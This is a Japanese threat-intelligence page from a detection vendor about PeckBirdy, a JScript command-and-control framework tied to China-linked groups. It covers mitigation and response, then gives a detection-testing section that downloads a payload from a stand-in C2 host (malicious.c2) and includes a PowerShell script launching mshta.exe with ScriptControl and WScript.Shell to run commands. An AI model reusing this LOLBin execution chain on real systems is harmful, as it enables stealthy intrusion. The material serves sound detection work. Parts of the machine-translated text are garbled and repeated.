SOC Prime Bias: クリティカル

26 Jan 2026 19:08 UTC

PeckBirdy: 中国系脅威グループが使用するLOLbins利用のための多用途スクリプトフレームワーク

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
PeckBirdy: 中国系脅威グループが使用するLOLbins利用のための多用途スクリプトフレームワーク
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

PeckBirdyは、JScriptベースのコマンドアンドコントロールフレームワークで、中国に関連するAPTアクターが「現場で活動する」バイナリを悪用し、HOLODONUTやMKDOORを含むモジュラーバックドアを展開するために利用しています。このフレームワークは、Webブラウザー、MSHTA、WScript、NodeJS、.NETなど、複数のランタイムで実行するように設計されており、WebSocket、Flash、Comet、HTTPなどのいくつかの転送オプションをサポートしています。このフレームワークは、オンラインギャンブルのリソース、アジア政府のウェブポータル、教育部門の組織を対象としたSHADOW-VOID-044およびSHADOW-EARTH-045として追跡されているキャンペーンで観察されています。

調査

研究者は、PeckBirdyローダーをダウンロードするために不正なスクリプトが挿入されたギャンブルサイトや政府ページを報告しました。このローダーは、続くペイロード、特にChromeのエクスプロイト(CVE-2020-16040)や追加のバックドアコンポーネントを取得しました。この活動は、HOLODONUTとMKDOORという2つのモジュラーインプラントに関連付けられ、以前に観察されたグループおよびインフラストラクチャのパターンに結びつけられました。この分析は、IPアドレス、ドメイン、盗まれたコード署名証明書の使用などのハッキングの指標もカタログ化しました。

軽減策

特定された悪意のあるドメインやIPアドレスをブロックし、MSHTA、WScript、NodeJS経由での非典型的なLOLBinの使用やスクリプト実行を監視します。作成を検出する unique_id %TEMP%内のファイルと厳格なコード署名証明書の検証を強制します。既知のCobalt StrikeペイロードやDonut生成の.NETアセンブリのカバレッジにより、さらなる露出を削減できます。

対応

検出された場合は、影響を受けたシステムを隔離し、注入されたスクリプトや生成されたバックドアバイナリを収集し、関連するC2インフラストラクチャをブロックします。横移動のために法医学的トリアージを実施し、観察されたコマンドラインアーティファクトおよびネットワークトラフィックパターンに対する検出ロジックを更新します。

攻撃フロー

シミュレーション実行

前提条件:テレメトリとベースラインのプリフライトチェックに合格していること。

論理的基盤:このセクションは、検出ルールを発動させるために設計された敵の技術と手法(TTP)の正確な実行を詳述しています。コマンドと詳細な説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。

  • 攻撃のシナリオとコマンド:
    攻撃者は、リモートコントロールチャネルを確立したいと考えており、 PeckBirdy スクリプトフレームワークを選びます。彼らは mshta.exe を選びます。ほとんどのアプリケーションのホワイトリストを回避できる署名されたWindowsバイナリだからです。ペイロードは、ActiveX ScriptControl オブジェクトを埋め込み、C2サーバーから取得したJScriptコードを実行します。ステップは以下の通りです:

    1. 悪意のあるJScriptペイロードをC2からダウンロード(例: http://malicious.c2/payload.js http://malicious.c2/payload.js).
    2. 次のステップは、インライン mshta.exe URIで URIで インスタンスを生成し、ダウンロードしたスクリプトをロードし、実行します。 ScriptControl JScriptコードはリバースTCPリスナーを確立し、初期アクセスを完了します。
    3. テレメトリを生成する正確なコマンドラインは以下の通りです:

    このコマンドは、

    このコマンドは、

    および文字列 mshta.exe を含んでおり、Sigma条件を満たします。 ScriptControl回帰テストスクリプト:

  • 以下のスクリプトは、悪意のある
    の呼び出しを自動化します。管理者アカウントの下でテストワークステーションで実行できます。 の呼び出しを自動化します。管理者アカウントの下でテストワークステーションで実行できます。 #————————————————- # PeckBirdy Execution via mshta + ScriptControl #————————————————- $c2Url = “http://malicious.c2/payload.js” $jsCode = @” var sc = new ActiveXObject(‘ScriptControl’); sc.Language = ‘JScript’; // シンプルなビーコン – 本物のペイロードに置き換える sc.AddCode(‘var s = new ActiveXObject(“WScript.Shell”); s.Run(“cmd /c echo Compromised > C:temppwned.txt”);’); “@ # JScriptペイロードをエンコードして改行問題を回避 $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = “javascript:var sc=new ActiveXObject(‘ScriptControl’);sc.Language=’JScript’;sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘$encoded’)));void(0)” Write-Host “[*] 悪意のあるmshtaを起動しています…” Start-Process -FilePath “mshta.exe” -ArgumentList $mshtaCmd -NoNewWindow

    クリーンアップコマンド:
  • テストによって作成されたアーティファクト(例:一時ファイル)を削除します。
    #————————————————- # PeckBirdyシミュレーション後のクリーンアップ #————————————————- Write-Host “[*] テストアーティファクトをクリーンアップしています…” Remove-Item -Path “C:temppwned.txt” -ErrorAction SilentlyContinue # テストで開始された残留mshtaプロセスを止める Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force

    攻撃フロー